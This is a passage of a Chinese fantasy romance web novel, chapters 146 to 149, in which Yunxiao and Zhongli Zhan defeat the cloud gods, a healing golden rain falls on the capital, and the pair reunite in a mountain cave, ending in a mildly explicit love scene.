云上巨人的杀心无可藏匿,云绡将他们逼进了一个死胡同里,如今狰狞的面目被世人看清也就不再遮掩,他们要的是自身安危,正如沈旨对他们的了解。 自私,又狠毒。 猖獗,又怯懦。 于是那云层翻涌的天空,雷电闪烁,此间分不清昼夜,所有人的目光都只能看见雷霆白光之下明明灭灭的无数人的身影。 天空上,如同漩涡一样的双眼里逐渐以黑云化作了一双手,一个漩涡里探出一只,粗壮的手指仿佛轻轻一按便能将京都城彻底碾碎。 那双手一左一右,撑在京都城的两侧,就像是凡人要去握住一只脆弱的鸡蛋。 黑云之中蓝紫色的电光仍然在剧烈地闪烁着,轰隆隆的雷鸣声让他们以为这就是他们的末日。 天要塌了。 那双手逐渐朝中心合拢,直朝那道握着剑的影子而去。 有人能看见钟离湛,有人则只能看见衣袂在风中翩跹的云绡。 人群中的声音不断尖叫,呐喊着那是他们灭除灾星邪祟的圣女,请求苍天放过圣女,若非圣女站出来,京都早就被数万铁骑围城,他们也都会变成那个妖邪的奴隶! 随即他们又想起来,天不会放过圣女,也不会放过他们,因为这一切就是苍天的意图,而被他们年年月月朝拜供奉的神明从未将他们当成一个鲜活的生命看待。 有人唤着云绡的名字,想要将她唤醒,也有人捂着双眼不敢再看,生怕那一双手合上,彻底将云绡碾压成灰烬。 钟离湛知道那双手是为谁而来的,那些黑云穿过了城墙与高楼,没推动一砖一瓦,便足以证明双手只是云上巨人力量的幻象,他们仍然无法真正地直接对这世间一切造成伤害。 他们要抓的是他,一个还没回到自己身躯里的灵魂。 黑云五指裹挟着风雪,遮蔽了所有人的眼眸,他们视野里的一切都变成了黑色,伸手不见五指。 云绡感受到了那股强烈的冷风,头上的木簪给她灌输的力量唤醒了她的意识,她察觉到了危机袭来,浑身发寒。 迷迷糊糊睁开眼,云绡只来得及看见一双近在咫尺的狐狸眼,钟离湛终于将厌恨的目光从天际收回,温柔地落在云绡的身上。 他轻吻了一下她的额头,伏在她的耳边低声道:“别怕。” 云绡想要回答他,她不怕,她都敢与天斗,她都敢设计天,还有什么好怕的? 可她还没开口便被黑云吞噬,雷电的光芒从她的身侧闪烁,又顺着她的衣袂溜走。 她是人,是个活生生的人,亦非作恶多端的凶徒,神明本就不能对她动手。 他们幻化的手掌将钟离湛的魂魄牢牢握在其中,带着钟离湛的灵魂潜入了另一个时空,云绡能察觉到搂在她腰间的力量突然消失,心下一沉,这才明白钟离湛那句别怕的用意。 她仍然在翻涌的黑云之中,飓风吹乱了她的发丝,而她除了云和雷,什么也看不见,什么也听不见。 忽而一道电闪雷鸣,直接劈在了她的面前,骤然闪现的白光似乎照映出了一道道高大的身影,如同山川一样立在她的身前。 那些雷霆声中,细细簌簌的鬼祟声不断,云绡努力去分辨,才从他们这些声音中听出了些许端倪。 她一直都知道云上有神,以天地为棋盘,凡人生灵为棋子,数神参与,分帮结派地进行了一场棋局游戏。 可她不知道,原来云之上也不是只有他们几个神明,在他们之上还有苍穹,还有目空一切又目视一切的天道。 天之道,有可为亦有不可为。 神明是天道的孩子,本应庇佑世人,福泽苍生,可天道诞出的神明并未真正拥有七情六欲,也不通人性,他们若想庇护凡人,首先便要学会成为一个凡人。 这场棋局游戏也正是天道对他们的考验,分辨出他们到底谁更能读懂人心。 人心中的欲、望比山高,比海深,是无底的虚空,永远也填不满。 而他们赐予凡人力量,也是想要亲眼看看,若给凡人一些得天独厚的条件,他们能给自己创造出一个什么样的生存环境? 在这样一次次的比试和争斗中,那些本就人性不坚的神明并未学会生存不易,也并未敬畏死亡的来临。他们成了钟离湛曾形容过的恶劣的孩童,嘲笑凡人的软弱无能,鄙夷凡人的贪婪自私,他们没有在一场场牺牲中生出怜悯,反而激发了好胜好斗的本性。 天道诞下了他们,却并未能教化他们。 “所以棋局本不是棋局,而是以天地划线的书籍,游戏也并非游戏,是一场激发你们人性的历练。 所以天地对你们亦有约束,你们不能改变书籍中已经存在的人物的生死,却拿起你们手中的笔,在上面添画,来达到你们顽劣的目的。” 云绡听见了钟离湛的声音。 “太可笑了!” “也……太可恨 了!” 这世上,绝大部分做错事的孩子第一个想到的都不是自我检讨,而是隐瞒后果。 若无真心教化,他们将永远意识不到自己的错误。 一个蒙蔽了天道的谎言,将用无数个谎言去维系。当谎言被云绡戳破的时候,他们恼羞成怒,可又无可挽回,于是便想再推出一个牺牲品。 【便是你知道了又如何?如今你的灵魂就掌握在我们的手中,你还能反抗我们不成?!】 【钟离湛,谁叫你多管闲事?谁叫你非得寻找什么真相?便就庸庸碌碌地活不好吗?若你安生,天下皆安!如今苍生不宁,也都是因为你!】 “放你天道的狗屁!” 云绡拔高声音,用尽全力将这一声怒骂嘶吼出来。 她没想过他们能听见她的声音,可周围嘈杂的悉窣声的确停止了。遮蔽云绡视野的黑云和雷电渐渐裂开了一道缝隙,白光灌入,熟悉的温热的气息就在她的不远处。 他如同她曾坠入的梦境里一样,站在一片纯白的世界里,面前站着的是无数个高大的巨人。那些巨人很多都没有脸庞,却有几个十分面目可憎。 钟离湛一袭玄衣握着长剑,橙红色的发带随风翻飞,他挺直脊背,明明在巨人面前那么渺小,却又像是一堵永远也不会倒下的墙,将云绡牢牢护在他的身后。 他没回头,因为他知道她一直都在。 可那些终于有脸的云上巨人却分外震惊诧然,那些冰雕玉琢的五官写满了后知后觉的慌乱,他们不明白为何一个凡人竟也能被他们拉入这场意识仙境里。 云绡将他们的愕然都看在眼里。 她咬紧牙根,纵使害怕,却也在这一瞬胆壮如牛。 云绡上前两步,圆眼怒瞪,朝着那些巨人大喊:“有朝一日你们坠下神坛!待我找到你们,也要将你们和那元司蠢货一样,千刀万剐,凌迟不得死!还得跪在我和钟离湛的面前,求我们给你们一个痛快!恶心的大白虫!” 意识仙境因意外闯入一个凡人而静谧,又因这个凡人的呐喊,在沉寂中悄然沸腾。 恶心的大白虫们第一次被人这样贬低,还是一个什么都不是凡人,他们的脸上情绪翻涌,还不等开口,云绡又骂了起来。 “怎么?看你们的样子很不喜欢这个称呼啊?那干脆就叫你们茅坑里的臭蛆吧!很形象,也是白的!白里还透着黑,你知道为何是黑的吗?因为它们吃多了屎,也和你们一样!” “不服啊?生气吧?想杀我?” “来啊来啊,姑奶奶怕你们?!能杀我一个,你们还能杀我们一群?你们干的那些事我全都给散扬出去了!今日便是我死,你们也别想遮掩下去,更别想着推出一个承担后果剩余的独善其身!” 那只纤瘦的小手,像蝼蚁挥动的触角,朝云上巨人一个个点去。 “你!你!你!还有你!恶事做多了会有报应的!”云绡骂得面红耳赤,在他们都惊楞的时候双手叉腰,细眉一挑:“喏,报应这不就来了?” 她话音未落,便见一道银光伴随着破空声袭来,剑鸣似虎啸龙吟,刹那从几个如同高山堵拦钟离湛的云上巨人身后穿体而过。 诛神剑将他们拦腰斩断,以大化小,盘旋成影,从钟离湛的魂魄前堪堪擦过,又旋转半圈,回到了他们的身后,被一只骨节分明有力的手用劲握住。 血泥覆身的红尘并未完全褪去,钟离湛的躯体也未完全苏醒,半睁着的眼眸如同怜悯的神佛一样落在他们脚下的云层深处。 他握着一把只有影,却无形的剑,凌乱的长卷发在风中飞舞,破烂腐朽的玄衣之下露出苍白又逐渐覆盖了血色的皮肤。 云绡面前一直背对着她的钟离湛化作了一团烟,在神明面前散去。 橙红色的发带也随之消失,最后一缕温柔缠绵地摩挲过她的尾指。 云绡隔着被腰斩后,腰间释放着蓝色光芒的巨人身躯,眯着眼,惊喜地看向那道熟悉,还有丝丝陌生的人影。 她的心跳得奇快无比,仿佛只要云绡一张嘴,就能从她的喉咙里蹦出来! 有人快她一步,颤抖的声音从高空压下。 似是咬牙切齿,又暗含畏惧:“钟、离、湛!” 第147章 钟离湛深吸一口气,感受着灵魂和自己身体融合时带来的些许疼痛的满足感。 数千年来被掩埋的四肢百骸原本很僵硬,但他灵魂苏醒已久,带动着奇经八脉一同活了过来。 钟离湛的身体很疼,他就像是已经不习惯自己被困在身躯中,总有些许憋束感。这种感觉急需要发泄出来,最好的办法,便是使用身躯,迅速磨合,让他回到自己最巅峰的时刻。 所以钟离湛握着剑的手越来越紧,排出肺腑中的浊气之后,嘴角扬着一抹恣意又痛快的笑意。 那双邪肆的狐狸眼缓缓睁开,剑眉微蹙,额心处的红痕愈发亮眼。 钟离湛唇角的笑容越来越大,因为他感受到了身体的所有感知,那种快意是单薄的灵魂无法传达的。他的手指抚摸着粗糙的剑柄,他的皮肤感受到风中刮来冷冽的刺痛,一切细微的鲜活感在这一刻都无法用言语形容。 他贪婪地享受着灵魂与身体融为一体,睁开眼第一时间看向的不是那些纯白的巨人,而是与他相隔不远,站在巨人的另一侧,方才还大放厥词帮他拖延时间的云绡。 钟离湛的心头就像是有一双柔软的手一直在抚摸又时不时掐弄一样生出缠绵得难以平静的欲/望来。 她怎么就那么好? 怎么就能与他一个眼神都没有,便知道他想要做什么,甚至配合得天衣无缝? 对上云绡的目光,钟离湛觉得身体和灵魂融合后的疼都在这一眼中化成了酥麻,他们明明不足纯白巨人的一只脚高,却偏偏是这意识仙境里唯二的靓丽颜色。 钟离湛在笑,云绡也在笑。 她无视所有朝她看来的目光,也无视所有可能会落在她身上的危险,在确定钟离湛就是钟离湛后,她提起裙摆,大步跨出,穿过了层层白云,扑进了钟离湛的怀抱。 不怪她会在钟离湛朝她笑之前犹豫,实在是因为云绡和他经历了这么多,也料不准他的灵魂回到身体后是否还会有其他变化。特别是云绡发现他身上的气势又与她认识的过去的他和还是灵魂时候的他都有些不同。 他会忘记她吗?就像忘记她曾经回到过去,在他身边和他一体双魂生活的那段时间。 “吓死我了!”云绡抱住心心念念的人,不过是短暂的离开视线,她都觉得像是已经过去了很多年。 而这一次的拥抱,隔着两人的衣裳,避开了温热的体温,却仍然滚烫。 他们用尽全力,就差要把彼此揉入骨血之中来感受真正的血肉之躯的拥抱,不含欲望的,以埋在彼此肩窝处深深呼吸来互诉衷肠。 钟离湛忽而有些热泪盈眶,这是他和云绡真正意义上的第一个拥抱。他真正地嗅到了她身上的暖香,真正感受到了她的发丝贴在他脸上的轻柔触感,也是他真正地贴近她的胸膛,听见了她剧烈的心跳。 和他的心跳一样的紊乱。 是他真正的心跳,而非魂魄意动时的感受。云绡曾在钟离湛身上见识过他的面红耳赤,心跳加速,浑身发烫,那都是魂魄给她的反馈,而非血肉之身的本能。 他的本能,在抱住怀中少女的那一刻,如久旱逢寒霖,寸寸复苏。 钟离湛抬手抹了一下眼尾,抹去那欲落未落的湿痕,心中喟叹:活着真好啊。 钟离湛轻轻地拍着云绡的后背,就像是安抚受伤的小兽一样。 她背对着那些高大的神明,只要在钟离湛的身边,她无需去害怕所有即将到来的危机。 钟离湛对云绡道:“别怕。” 还是同样的一句话,他已是完全不同的 心境。 之前被黑云裹挟,钟离湛让云绡别怕是因为他知道这些纯白巨人一定是要将他拉入一个对他们绝对有优势的环境里。可他也知道他和云绡绑定在一起,除非他魂飞魄散,除非云绡烟消云散,否则他永远也无法离开她十步的距离。 这十步,让她看清了天地真貌,这十步,也让她短暂地将所有纯白巨人的目光吸引了过去,从而忽略了他的一举一动。 钟离湛的魂魄握着剑意时,他的身躯已经从天祭台下的禁地深处拼尽全力地朝外攀爬,爬出了那个困住他两千多年的地方,站在了光明之下。 既然他的魂魄被困此间,无法回到身体里。 那就让他那早就不是凡躯的身体,来找他的灵魂。 - 云绡纵使有千言万语想要和钟离湛说,她也知道现在不是时候,她只能放纵自己汲取钟离湛拥抱的温度,却不会真的以为钟离湛方才那一剑就已经解决了属于人间的所有麻烦。 钟离湛已经蜕去了凡身,他的剑是朱神剑,可以斩杀这世间所有神明,方才那一剑也的确对纯白巨人们造成了伤害。 腰斩后的他们腰间的蓝光如同瀑布一样不断朝身下倾泻,淡淡的蓝落进了云层里,化成了一阵骤雨,淅沥沥地洒向他们原本掌控着的族间。 白云成织,堵住了他们腰间的伤口,可流出去的仙力无可挽回,于这个冬季里化作了人间的甘霖,来年应当会迎来数千年来最好的时节,最大的丰收。 这些本应当是他们真正馈赠给凡人的东西,而不是所谓的五族之分,所谓的长寿,所谓的兽语,还有什么天然吸引人的手段。 钟离湛在世期间民不聊生,因为他们吝啬给予人世间一点点好处,他们喜欢看凡人为了那一丁点稀薄的资源厮杀掠夺,而后那些凡人会更加虔诚地跪拜他们。 祈祷上天,乞求神明。 天道予他们的力量,成了他们壮大自身的养分。 钟离湛只是一剑斩断他们的身躯,让他们还给苍生一些,他们便慌乱地捂住伤口,舍不得这一星半点的好处,甚至用一双双仇恨的眼睛看向钟离湛。 云绡看得见,在这些巨人的身后还有更高的巨人,他们或许是不同世界里的天道或神明。他们都睁着一只眼,怜悯地看向世人,却不敢睁开另一只眼,看看这些为祸苍生的罪魁祸首。 “但睁一只眼闭一只眼,也有睁一只眼闭一只眼的好处。”云绡松开了钟离湛的腰,退到了他的身后。 她的手轻轻扶着钟离湛的脊背,那里只有一截骨头,是她从指间摘下来的戒指,这也是云绡害怕手中的戒指会让云上巨人发现钟离湛早已苏醒而取下还给他的。 他就靠着这截骨头屹立着,面对所有朝他们袭来的恶意。 钟离湛有将神明拉下神坛的经验,在他的梦境里,他也曾逐渐成长地比这些云上巨人还要高大。他的剑,本就可以斩落这世间所有不公! “那就来吧!” “就让我看看,是你们能瞒天过海,还是天道还苍生公允!” 纯白的脸仿佛狰狞的恶鬼,他们发出了尖利的吼叫,周身白色褪去,成了滚滚的黑云,以遮天蔽日之势朝钟离湛和云绡扑了过来。 云绡眼前最后的画面便是钟离湛高大的、□□的后背,他遮拦了所有朝他身下云层冲过去的暴雪雷霆。 她知道他的。 他一直想要做的,就是用他手里的剑,化作这天地间的一杆秤。 从此天就是天,地就是地,而这世间所有弱肉强食仗势欺人的不公,也都会有其法度制衡,无需苍天干预! - “下雨了……” “真的下雨了!” 不知谁察觉到雨水的冰冷和潮湿,于是从恐惧中睁开了眼。 天还是黑的,难分昼夜,可风不知何时停了下来,雨水从一开始的一滴两滴,变成了后来如同瓢泼一样。 天上的漆黑双眼也消失无踪,只有翻涌的云层。 雷霆褪去,天虽黑暗,却也不似一开始那样压得那么深。 城外的声音渐渐传来,有鼓声号角长鸣,紧接着是捷讯。 京都城的城墙上,本来冒着狂风还要抵抗城外劲敌的禁军突然发现城外黑压压的人都在这一场雨水中渐渐消失了身影。 一场短暂的战事,也的确让他们双方都有损失。不过比起京都城而言那突然不知从何而来的骑军死得才更多,无数尸体倒在了泥泞的土地和雪堆上,奇怪的是他们并未流出太多鲜血。 而在那些死去的骑军身后,原本密密麻麻的人群随着大雨落下,在雾蒙蒙中一个个化作了虚影。军马成风,甚至不曾踏破雪面,就像是海市蜃楼,其实他们从未来过。 渐渐的,有人发现从天而降的雨有些不同之处。 “这雨中是有金子吗?” “我也看见了,还以为是自己眼花了,亮闪闪的,从未见过……” 漆黑的天空中,暴雨里夹杂着一些细小的金色咒文,它们潜入了每一滴雨内,只有在特别的角度才能看出些许光斑。 在场的也有曦族人。 数月前,东洲符玉城内少有的几个老人在得知东洲被显帝划入了湖族境下,便心有惶恐和不甘。 可曦族境内不管他族之事,他们将此事告知给古殿长老。 曦族五个长老,曾经的景妍和何舜都属其二,他们认可何舜,是因为何舜虽神秘,也的确教会了他们许多在乱世中赖以生存的本领。 后来他们不再于众人面前提起这两位长老,也是因为何舜决意让他们出面以曦族之名,将景妍献给显帝。古殿长老们不愿,但他们受制于人,便以此要求从此与何舜景妍划清界限。 从那之后,何舜和景妍都不再是曦族长老,即便景妍成了后宫的妃子,他们也不沾半点好处。 东洲之事长老们固然心焦,却也无可奈何,于是符玉城的老人只能不远千里来到京都,他们想让东洲回到曦族的管辖,想要向新帝求情。 谁料京都生变,他们也险些死在这惊世的异象之下。 曾经的曦帝人皇是好是坏,只有他们曦族自己清楚,他们也牢记祖宗对他们下达的死令。在合适的时机来临之前,曦族人不得与外族通婚,更不可干涉进世世代代的战争掠夺当中,安居一隅,才能带着族人奔向更好的生活。 一直以来他们都是这样做的,可他们心里没底,不知道什么才是合适的时机。 如今他们看见了。 鹤发鸡皮,连山羊胡都干燥成枯草一般的老者,睁着浑浊的眼,眸中倒映着从天而降的金雨。他们能分辨得出那些雨里有咒文,只是他们老眼昏花,看不清了。 可这一刻,他们都知道,这便是合适的时机。 因为这样的一场雨在曦帝驾崩的时候,在钟离湛生辰礼之后的第三日,曦族也下了一天一夜。 有风吹动了那些乌云,厚厚的云层也变得淡薄了起来,依稀可以看见云层之上的蓝天。 此时天还是亮的,灰色叫那些金色的咒文不再显眼,可也有人发现淋过雨之后的他们身体里明显的改变。 病体沉疴不再疼痛,跌打损伤转瞬便好,这就像是一场让他们重新焕发新生的雨。 薄光中,他们看见了几乎化作废墟的京都。 京都富丽,雕梁画栋的高楼在无数次的雷霆之下击碎,打破了由凡人铸成的华贵堡垒,将五族之间从来就有的分歧和凡人与凡人之间的三六九等,皆打碎成斑斓的镜面,一一展露在他们的面前。 众人在濒死之际与身旁之人紧紧地拥抱在一起,即便他们抱着的是他们曾看不起的那个族类。 四族都觉得人族无长处,是被神明抛弃的一族。 另外四族又觉得旖族为少数且无管事,是乡里巴人,难登大雅之堂。 还有四族觉得尾人族常年与野兽为伍,身上都有一股牲畜味儿。 曦族在他们的口中,成了懦弱无能,只知求和的胆小鬼。 湖族因为圣仙之名这些年的确被人捧着,可也有许多人私底下说他们假清高,目中无人,实际上与寻常人族无异。 他们其实也如同这千疮百孔的京都城,看上去歌舞升平,暗地里争夺不休。 与天相比,他们何其脆弱,而如此脆弱的他们,在这一刻达成了难得的统一。 他们统一看向金雨似瀑的天,感受着绑缚于他们身上的枷锁一一卸去,即便不开口,也于心底呐喊出一句——人间是凡人的!由不得神明作祟! - 这场金雨也持续了一天一夜。 所有人以为的塌天危机在短短几个时辰内便被解除。 而他们亲眼所见的,被从天而来的巨大黑手抓走的圣女,在雨停后也一直未归。 第148章 云绡是被一点冰凉的水滴滴在了脸上才有了些许苏醒的意识。 她的眼皮有些沉,暂且无力睁开,不过已经能听到一些细微的声音,也能感受到周围的温度。 叮咚——叮咚—— 一滴水滴入了水潭中,溅起了层层涟漪,荡漾的水花中散发着清冷潮湿的含着青苔青涩的香 气。 还有复杂的花香。 云绡就像是睡了很舒服的一觉,无梦,且舒缓了四肢的疲倦。 所有记忆都是在苏醒的一瞬间被回忆起来的,从她如何策划要将天上神明真相暴露在世人面前开始。 在东洲的望月山上见到元司之前,云绡都还没真的思考如此缜密的计划。在她真正地杀死了一个神明之后……即便被杀死的是残魂,也让她清楚地意识到,这世上没有任何力量不可撼动。 而在回到京都的途中,得知何舜为了给钟离湛的灵魂寻找一个合适的身体,已经洗刷了她弑帝的冤屈,云绡便想到了要利用她的身份,来布这一场局。 营造圣女是天命所归,是为了诛杀天降灾星而存在的美名。 旖族女子的身上拥有可以让人轻易爱上和相信的天然好感,由她们来传唱歌谣便更有可信度。 再让各族说得上话的势力来渲染天生异象,将此异象与往年战争联系到一起,给世人一个暗示,便是这些五族之间不休的征战其实也是上天所为。 将各族权势的掌控着拉入京都这场浩劫里,也是为了让他们看清楚天地间的真相,让他们知道,若今日他们还能活着离开京都,今后他们所有的幸福生活,都是圣女换来的。 云绡甚至向沈旨借用了司徒音璃早些时候给元司练的那些行尸走肉,司徒音璃本欲让这些早就死去的“人”冲锋陷阵,对凌国挑起战争。 司徒音璃死了,这些灵魂已经被元司摄取的行尸走成了无主之躯,他们其实早就死了,云绡秉着不用白不用的态度,让沈旨将那两千人用各种方式带入连玉州。 两千人并不算多,而且他们来自各族,都是乡里出生的穷苦人,并没有经过训练的将士那样的外在条件,只要挑个扁担出示身份便会被放行。 京都圣女祈福,神霄塔重建,如此热闹,赶往连玉州的各族人多一些也在常理之中。 那两千个死人并未引起皇城重视,至于皇城禁军看见的数万铁骑,那实实在在就是云绡叫钟离湛画的纸符营造出来的假象。不过是为了充数,让这场伴随着天灾而来的战争更具有真实性和压迫感。 咒文填入雨水之中,浇灌大地,淋湿的符纸转瞬消失无形,而那些朝着京都冲锋陷阵的尸体,也都倒在了城外,仍然壮观。 云绡眼皮下的眼珠动了动,回忆到最后,便是她在意识仙境里看见钟离湛陡然壮大的身躯,他将她护在身后,如一座真正的巍峨高山。 黑暗侵袭了云绡的意识,可她并未感觉到痛苦或难过,此刻所有感知全都复苏,云绡才有了睁开眼的力气。 一束光不知从何处落在了她的眼上,像是催促她快点醒来。 云绡抬起手,遮挡了这束光,缓缓睁开眼再起身,环顾四周,此刻她正身处于一个天然形成的山洞。 洞顶钟乳石上不断朝下滴水,洞中空间不小,但不像是有野兽或人来住过的恨极。她此刻睡着的石床一眼就能看出来是经过利刃打磨才变得平滑的,一旁还有简易的石桌。 让她躺在这儿的人为了叫她睡得更舒服些,在她的身下铺了一层鲜花,去叶去蒂,只留下柔软的花瓣和花蕊,随着云绡起身往两侧落下了一堆。 她闻到的青苔味道是山洞里自带的,那复杂的花香味想来就是这些花朵了。 那束将她叫醒的光转移了位置,冰冷地洒在了她撑于身侧的手背上,云绡这才看见山洞外正天光大亮。 山洞入口并不狭窄,不过因为角度特殊,阳光很难照进来,唤醒她的光是阳光落在洞中水潭的水面上,粼粼波光折射于她的身上。 云绡起身朝洞外走去,走到一半她突然愣住。 这个山洞竟然不是挨着地的,而是悬在半空中,仅能看见一片苍茫树林的枝叶,洞口往外延申了大约一米半的石台。 云绡小心翼翼地朝前走了几步,站在阳光下,暖洋洋的光芒晒在身上,叫她忍不住伸了个懒腰。 眼前是一片林,林子里的积雪已经融化了,万物复苏,野草长出了韧叶,就连呼出的气都是清新的。 云绡朝林子里看了好一会儿,刚睡醒的舒适逐渐转化为不安。 她走到洞口石台的边缘朝下看,这林子里的树似乎挺高的,虽然她能看见一些从底下冒出来的树枝,却没办法从繁密的树枝看到地面。 云绡知道她能出现在这里一定是钟离湛带她过来的,否则她醒来时不会睡在石床上,也不会在身下垫那么多鲜花。 看花朵的新鲜程度,他不久前应当还在山洞里,只是这个时候人不知去了哪里。 云绡看见石台之下的边缘还有些许崭新的刻痕,她伸手摸了摸,潮湿的石壁上熟悉的字迹在这里留下了符文,预防一下外来物的侵扰。 蛮贴心的。 可云绡还是觉得心里空落落的,大约是因为这是她第一次睁开眼没看见钟离湛就在她的身边,是她自认得了钟离湛之后,第一次和他异地而处。 他自由了。 这是云绡真正清醒之后的第一个念头。 曾经的钟离湛受她的约束,他们之间不能离开十步距离,而她是身体的主导,即便他也可以附身,却也仍然得按照云绡的意愿或走或跑或跳。 这让她觉得钟离湛是完全属于她的,这种看似束缚的羁绊,其实很大程度上满足了云绡的占有欲。如同钟离湛所说的,她的本性其实很霸道,她希望她的人永远只能看见她,也永远只能跟随她。 可钟离湛不再是魂魄,他回到了他的身体,甚至比起以前那个后来都不太健康的身体而言,如今的他才是真正脱胎换骨的他。 他比以前更加强大,又没了那些压在他肩上的责任和绑缚着手脚的枷锁,他比这世上的任何人都更自由。 云绡只要想到这一点,心中的惶恐和无措便被无限放大,才醒来看见的鲜花铺就的石床那丝丝兴奋感,也在石台上细风一吹,烟消云散。 这种落差感让云绡的脊骨都产生了一股难言的幻痛,就像钟离湛和她的羁绊从她的身体里生生割离,连骨带血,刺破五脏,连呼吸都变得困难了许多。 云绡大口地喘息着,整个人蜷缩在洞口一角,双手环抱着膝盖,莫名想起了自己曾在皇宫里的那些童年时光。 景妍安排照顾她的嬷嬷其实很厌恶她,除了不会打她之外,做尽了一切她能做的恶事。 云绡经常饿着肚子饿到浑身发疼,这种折磨其实比身上出现伤口更加煎熬,因为她体质特殊,伤口能很快愈合,而饥饿的疼痛只有食物才能缓解。 此刻她的无助,一如当年。 甚至比当年更加难以忍受的是,她当初并未得到过美味的食物,永远都是 在饿着肚子又饿不死的状态下。而今她切实地感受过钟离湛的爱,享受过与他时时刻刻黏在一起的安全感,乍一分开,四肢百骸都在发疼。 疼到云绡的眼眶湿润,视野被潮气模糊,她咬紧下唇,身体也忍不住颤抖了起来。 “怎么哭了?” 钟离湛的声音比他的人影先到,云绡听见他的声音时立刻抬头,好一会儿才看见被蓝天白云映照的虚空中划开了一道口子,他破开了自己设下的禁制,踏入了安全的洞府。 云绡还没开口,肚子率先发出了抗议,咕噜噜一声特别响。 钟离湛眉心微蹙,担忧的目光还落在她的脸上,听见这声后愣了一下,上前几步将人搂住才轻声问:“饿哭了?” 他的一只手轻巧地托起云绡的臀,让她离开冰冷的地面,独臂抱着云绡朝山洞里头走,将她重新放在了那一堆花上。 云绡的泪珠还挂在脸上,没看见人时伤春悲秋,顾影自怜,看见人后一滴眼泪也流不出来了。 她双眼紧紧地盯着钟离湛,细细打量着他清晰的有真正温度的五官,视线最后落在他额心的那一道细细的红痕上。 好像除了这一点之外,他没什么改变,仍是这样的眼神看她,仍是将她放下也还是会握着她的手。 云绡嗅到了从钟离湛身上传来的烤鱼的香气,这个时候也无需开口问他干什么去了。 她只睁大眼睛,尽力显得无辜委屈,让那滴欲落未落的泪水别干得那么快。 反倒是钟离湛,抬手指腹抹去了云绡的泪,毫无预兆地一吻贴上了她的唇,缠绵了几息后才松开她道:“好可怜,肚子一定是饿惨了,这才哭得稀里哗啦的。” 他将大叶包裹的烤鱼摊在一旁的石桌上,展开里头还热腾腾的食物。那条烤鱼外焦里嫩,肚子里还塞了许多烤得软糯爆汁的浆果,鱼油与浆果的汁水在大叶上沉了一个浅浅的底,香气四溢。 钟离湛道:“冰面下猫了一冬的鱼尤其肥美,但要配合这果子焖烤才更香,我算到了你醒来的时候,便想着让你醒来第一时间吃上最好吃的,没想到摘果子跑远了点儿,也就耽搁了小半盏茶的功夫,就把你给饿哭了。” 他虽脸上带着笑,眼底还是有心疼,尤其是说话的语气温温柔柔的,让云绡生不起半点脾气。 她的确是饿得很了,先是吃起烤鱼,等到烤鱼吃了一半,肚子没那么难受了这才咕哝着开口:“我才不是因为肚子饿才哭。” 钟离湛其实猜到了。 他们如此默契,又如此了解彼此,钟离湛只要稍稍一动脑筋就猜到了云绡哭的真正原因。 自由的感觉很舒服,钟离湛不得不承认,回到自己的身躯,找回自己的力量,可以恣意地驱使身体去到任何想去的地方,去做任何想做的事,很快乐。 他享受着这份快乐,甚至在带着云绡脱离意识仙境后,他没有第一时间带她回去京都,而是找了个荒无人烟凿于半山的洞府,安安静静地陪着她睡了一觉。 钟离湛知道,一旦他们回到京都,等待他们的还有许多需要善后的琐事。 而他也做好了准备,在回到京都之前,给予云绡足够的安全感。 让她快乐,也是他感受快乐的一种方式。 所以钟离湛开口问她:“吃饱了吗?” 云绡看着只剩下鱼头和鱼尾的烤鱼,这条鱼的确和钟离湛说的一样,十分肥美,一条下肚她已经饱了。 但因为她方才那句摸棱两可的话并未得到钟离湛的回答,所以云绡的心里还是有些不开心。她甚至在想,她身体里就没有他的骨头了?有没有什么办法能将他重新绑回来? 叫一只受伤的隼留在身边养伤很容易,可一旦它能翱翔天际,或许就再也不会回来了。 最好的办法……就是再折断它的羽翼,让它重新依赖她。 云绡想得入神,也没回答钟离湛的疑问。 他直接伸手摸了摸云绡的胃,觉得她应当是吃饱了,胃鼓起来了些,但没有吃多了时那么硬。 “吃饱了,那我们来做一些好玩儿的事吧?” 钟离湛给云绡擦了嘴上的浆果汁,目光渐深,望着她的眉眼,再落在她的唇上。 云绡的呼吸加深,被钟离湛吻上来时她还有些懵,虽说饱暖思淫/欲,可该思的人不是她吗?她还没动静呢,钟离湛怎么这么大的反应? 钟离湛的反应的确很大。 他在享受着当鬼魂时享受不到的爽感,纵使他以前也亲吻过云绡很多回,可灵魂带来的反馈和身体完全不同。 他能尝到云绡舌尖上细小的颗粒感,也能感受那湿润的滑腻的温度。 这叫他仅在一个吻里便不可遏制地升起凶狠的欲/望,阵阵战栗顺着脊骨麻上头皮。 云绡不知道他在想什么,她呼吸都快被他吞没了。 而后他握着她的手腕,有些急不可耐地将她的手掌按在了他的胸膛上,掌心下的皮肤在迅速升温,钟离湛的身体甚至在细微地颤抖。 云绡的掌心感受着钟离湛剧烈的心跳,只觉得那块皮肤都要着火了,她的手换了位置,往他腹上结实的肌理划过,紧接着钟离湛便从与她相吻的唇齿里溢出了愉悦的喟叹。 钟离湛不止头皮发麻,他的一切感受简直不要太棒! 和灵魂时完全无可比拟的快乐,叫他于心中暗叹:别说了自由了,让他就这样沉溺于爱欲,死在云绡的怀里都是值得! 第149章 云绡和钟离湛自回到京都后就没有过几次亲近了,前期的她时刻都在何舜的视线里,后期她又忙于和徐容靳、仲卿的安排,想要将京都的戏唱得响亮…… 此刻的她亦意乱情迷。 在钟离湛的亲吻和抚慰下,云绡暂且将心底的那丝不安抛去,先静静地享受此刻的温存。 这一吻直接唤醒了云绡内心身处的欲/望,她从来都不是个会在这种事情上委屈自己的人。 白皙的胳膊搂上了宽厚的肩,钟离湛一只手便能搂着她的腰起身,将她整个人往上提了提,提到自己合适亲吻的高度,这才俯身埋在她的前襟处。 与曾经肌肤相贴的感受不同,钟离湛并不觉得此刻有衣裳的阻隔会碍事,反而他还有些喜欢为云绡宽衣解带的过程。 牙齿咬上了前襟的珍珠扣,钟离湛只需稍稍用力便能将她的衣裳拉扯开,入目是白腻的因急促呼吸而起伏的柔软,散发着独属于她自己的香味,无尽地引/诱着他。 云绡知道这种事情很快乐,她毕竟也曾体会过几次钟离湛的抚慰。 可与手指还有唇舌相比,另有更叫人销神魂荡的感受。 云绡的牙齿紧紧地咬着钟离湛的肩膀,在他的身上留下深深的齿痕,难以承受的声音与她的呼吸交错。 石床上的鲜花落了满地,被碾碎的花汁将云绡的皮肤染成了斑驳的色彩,粉的,红的,浅紫色……在她白皙的身上绘成了一幅香气四溢的画。 钟离湛看着她迷离的双眼,听着她的声音,指腹轻轻抚摸了一下云绡已经泛红的眼尾。 